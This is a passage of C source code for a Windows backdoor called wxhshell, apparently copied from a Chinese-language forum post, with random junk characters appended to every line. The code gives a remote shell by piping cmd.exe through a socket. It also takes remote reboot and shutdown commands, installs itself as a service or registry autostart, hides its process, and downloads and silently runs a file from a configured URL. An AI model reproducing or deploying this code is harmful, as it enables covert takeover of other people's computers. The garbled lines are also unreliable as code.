in6iJ*E@'  
    switch(cmd[0]) { L)ry!BuHI  
  #FV(a~  
  // 帮助 u +OfUBrf  
  case '?': { v{2 Vg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^~dvA)bH  
    break; +(<}`!9M*  
  } i@ avm7  
  // 安装 L~FE;*>7  
  case 'i': { g#ONtY@*U  
    if(Install()) F- n1J?4b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9jwo f}OU  
    else H;n(qBSB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S[ ,r .+  
    break; h&6x.ps@  
    } lEC58`Ws  
  // 卸载 P&Q 5ZQb  
  case 'r': { ]jzINaMav  
    if(Uninstall()) $0zH2W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Pt5c6L:  
    else 2O5yS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Aq{m42EAj  
    break; P!";$]+  
    } f 6P5J|'  
  // 显示 wxhshell 所在路径 g3%t+>$*  
  case 'p': { ^MWfFpJV!]  
    char svExeFile[MAX_PATH]; VmB/X))   
    strcpy(svExeFile,"\n\r"); (IR'~ :W  
      strcat(svExeFile,ExeFile); k|7XC@i]%  
        send(wsh,svExeFile,strlen(svExeFile),0); 'm=9&?0S  
    break; r8 M/E lbk  
    } I -obfyije  
  // 重启 jjm-%W@  
  case 'b': { u[oYVpe)IG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &7X0 ;<  
    if(Boot(REBOOT)) +:[dviyPt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ca_8S8lv  
    else { O!uB|*  
    closesocket(wsh); 5\tYs=>b<  
    ExitThread(0); @]HV:7<q  
    } gGU3e(!Uc  
    break; kc8T@5+I0  
    } WDiF:@^K  
  // 关机 vwzTrWA=  
  case 'd': { !`='K +  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +-#| M|a  
    if(Boot(SHUTDOWN)) I=^%l7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )[)-.{q  
    else { 4f"a/(>*  
    closesocket(wsh); ]IJ.}  
    ExitThread(0); b,G+=&6u  
    } hk&p+NV!  
    break; 6|LDb"Rvy  
    } zq]V6.]J  
  // 获取shell ap9eQsC  
  case 's': { ,Ql3RO,  
    CmdShell(wsh); N[ArwV2O  
    closesocket(wsh); v.v3HB8p  
    ExitThread(0); 7w{`f)~  
    break; wy_TFV  
  } U'.>wjO  
  // 退出 M)EUR0>8  
  case 'x': { 9&'Mb[C`"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J\   
    CloseIt(wsh); Ye!=  
    break; K"b vUH  
    } ,^o^@SI)   
  // 离开 mXF pGo5 s  
  case 'q': { <z)MV oa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b)w3 G%Xx  
    closesocket(wsh); Ze Shn  
    WSACleanup(); VV] {R'  
    exit(1); 4 '9h^C&  
    break; i`8!Vm  
        } :eQx di'  
  } 3g2t{ %  
  } ZLKS4  
{ Rw~G&vQ  
  // 提示信息 8gBqur{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +I\ bs.84  
} S_2I8G^A  
  } e@^}y4 C  
uNhAfZ  
  return; -3_kS/  
} iJrscy-  
OR"ni  
// shell模块句柄 +bf%]   
int CmdShell(SOCKET sock) |klL KX&  
{ p dnL~sv  
STARTUPINFO si; N'm:V  
ZeroMemory(&si,sizeof(si)); web&M!-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bJB:]vs$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =AcbX_[  
PROCESS_INFORMATION ProcessInfo; KS(T%mk\  
char cmdline[]="cmd"; {Y'_QW1:2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YN>#zr+~  
  return 0; ]P<&CEk  
} o~>p=5t  
8@+YcN;->  
// 自身启动模式 vW)GUAF[  
int StartFromService(void) V (!b!i@  
{ _9 Gy`  
typedef struct R#\8jvv  
{ ha8do^x  
  DWORD ExitStatus; -U/& 3  
  DWORD PebBaseAddress; J;T_ 9  
  DWORD AffinityMask; dnIBAe  
  DWORD BasePriority; g\ *gHHa  
  ULONG UniqueProcessId; P<4jY?.  
  ULONG InheritedFromUniqueProcessId; R?&S]?H  
}   PROCESS_BASIC_INFORMATION; #{ Uk4  
Q}fAAZ&7h  
PROCNTQSIP NtQueryInformationProcess; q}\\p  
GF/p|I D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UN>hJN;c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zRE7 w:  
Zp__  
  HANDLE             hProcess; acGmRP9g  
  PROCESS_BASIC_INFORMATION pbi; E!Fy2h>[Z  
0|^x[dh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m/6oQ  
  if(NULL == hInst ) return 0; BxZop.zwE(  
-ZyFUGd%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ([9h.M6v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .PAkW2\#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uqO51V~  
]7u8m[@  
  if (!NtQueryInformationProcess) return 0; WVN Q}KY  
1  yzxA(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m1[QD26  
  if(!hProcess) return 0; T:!sfhrZ~<  
,<vrDHR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '}rDmt~  
$Jr`4s  
  CloseHandle(hProcess); nO|S+S_9  
'Yd%Tb|*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q^p@ 1I  
if(hProcess==NULL) return 0; +tV(8h4  
UxS;m4  
HMODULE hMod; TM^1 {0;r5  
char procName[255]; =AKW(v  
unsigned long cbNeeded; ^g[])2",  
,^<+5TYM7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f$ Ap\(.  
Txfb-f!mv\  
  CloseHandle(hProcess); (bo bKr  
1I@4xC #X  
if(strstr(procName,"services")) return 1; // 以服务启动 M5x!84  
c~tSt.^WX  
  return 0; // 注册表启动 _N-7H\hF  
} v;RQVH;,  
Zgg7pL)#c  
// 主模块  !gk\h  
int StartWxhshell(LPSTR lpCmdLine) Fb``&-Qm:  
{ 0zTv'L  
  SOCKET wsl; <7jb4n<  
BOOL val=TRUE; yav)mO~QU6  
  int port=0; c^6`"\X^g  
  struct sockaddr_in door; T*{zL  
R/Y/#X^b  
  if(wscfg.ws_autoins) Install(); Cir =(  
 CMg83  
port=atoi(lpCmdLine); rvmI 8  
KOmP-q=6  
if(port<=0) port=wscfg.ws_port; ,X$Avdc2  
`Eu(r]:W  
  WSADATA data; Gz6GU.IyQy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {//F>5~[  
bNaUzM!,H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6szkE{-/?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LNN:GD)>  
  door.sin_family = AF_INET; oOL3O@)w>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z~,.l  
  door.sin_port = htons(port); pS<b|wu?f  
$3[cBX.=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #y*=UV|h  
closesocket(wsl); K?;p:  
return 1; - dOT/%Ux  
} L$Leo6<3a  
]8_h9ziz  
  if(listen(wsl,2) == INVALID_SOCKET) { H3c=B /+  
closesocket(wsl); \=@r1[d  
return 1; RYV6hp)|  
} >=`c [=:Z_  
  Wxhshell(wsl); bMUIe\/v[  
  WSACleanup();  vV[dJ%  
5"gRz9Ta`  
return 0; 2 Lam vf  
.3U[@*b(  
} `HS4(2+C  
"~(&5M\8`  
// 以NT服务方式启动 uv-W/p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R|CY4G j  
{ d=#p w*w  
DWORD   status = 0; ^i8I 1@ =  
  DWORD   specificError = 0xfffffff; KJ)nGoP>  
_ <;Q=?'*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {.lF~cOu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E&>,B81  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,SyUr/D  
  serviceStatus.dwWin32ExitCode     = 0; !U#++Zig%  
  serviceStatus.dwServiceSpecificExitCode = 0; x7@WWFF>  
  serviceStatus.dwCheckPoint       = 0; r~}}o o4K  
  serviceStatus.dwWaitHint       = 0; ) *A,L%  
ZM vTDH!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6|KX8\, A@  
  if (hServiceStatusHandle==0) return; TN %"RL  
bSr 'ji  
status = GetLastError(); r9M={jC  
  if (status!=NO_ERROR) Z M+Hb_6f  
{ tRy D@}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZmULy;{<)  
    serviceStatus.dwCheckPoint       = 0; `Q&] dE=  
    serviceStatus.dwWaitHint       = 0; &1p8#i  
    serviceStatus.dwWin32ExitCode     = status; bNROXiX  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,OKM\N ,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jrk^J6aa  
    return; }R1`ThTM  
  } @:7gHRJ!  
} x.)gW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aVP|:OAj  
  serviceStatus.dwCheckPoint       = 0; >jX UO  
  serviceStatus.dwWaitHint       = 0; Hk]BC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3\KII9  
} <c ovApx  
~}5Ml_J$,l  
// 处理NT服务事件,比如:启动、停止 30_un  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MA+-2pMc|7  
{ ;-?ZI$  
switch(fdwControl) {}pqxouE  
{ kppRQ Q*[  
case SERVICE_CONTROL_STOP: +?iM$}8!U  
  serviceStatus.dwWin32ExitCode = 0; ~+#--BhV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?*'$(}r3  
  serviceStatus.dwCheckPoint   = 0; ,8I AhQa  
  serviceStatus.dwWaitHint     = 0; qP"JNswI_  
  { X[Ek'=}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); be:phS4vz  
  } -L9R&r#_e  
  return; 8'lhp2#h  
case SERVICE_CONTROL_PAUSE: DLYZsWA,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n r>{ uTa  
  break; cU*lB!  
case SERVICE_CONTROL_CONTINUE: H\I!J@6g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  <8)s  
  break; F36ViN\b  
case SERVICE_CONTROL_INTERROGATE: yb{Q,Dz  
  break; =$8@JF'  
}; [S]!+YBK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d=Do@) m|  
} cIr1"5POXK  
c,q"}nE8w  
// 标准应用程序主函数 0sd-s~;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +V9B  
{ ^ 6.lb\  
*kQCW#y0  
// 获取操作系统版本 ~B!O~nvdQ  
OsIsNt=GetOsVer(); z9 w&uZzi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~u0xXfv#  
naI v=  
  // 从命令行安装 .NkAD-k`  
  if(strpbrk(lpCmdLine,"iI")) Install(); cH;TnuX  
D4q >R;  
  // 下载执行文件 YvruK: I  
if(wscfg.ws_downexe) { bW9"0=j[{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lB!vF ~A&  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6B''9V:s  
} PDIclIMS'F  
m*!f%}T  
if(!OsIsNt) { 4C1FPrh  
// 如果时win9x,隐藏进程并且设置为注册表启动 k=7Gr;;l=p  
HideProc(); C,r`I/;  
StartWxhshell(lpCmdLine); /u)Rppu  
} :B=8_M  
else NGD*ce"w  
  if(StartFromService()) Q0cY/'>4  
  // 以服务方式启动 ck+b/.gw`  
  StartServiceCtrlDispatcher(DispatchTable); qon{ g  
else tKZ&1E  
  // 普通方式启动 `\jTpDV_W  
  StartWxhshell(lpCmdLine); ISS\uj63M  
s8_aL)@f  
return 0; :Sc8PLT  
}
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只看该作者 1 发表于: 2006-10-10
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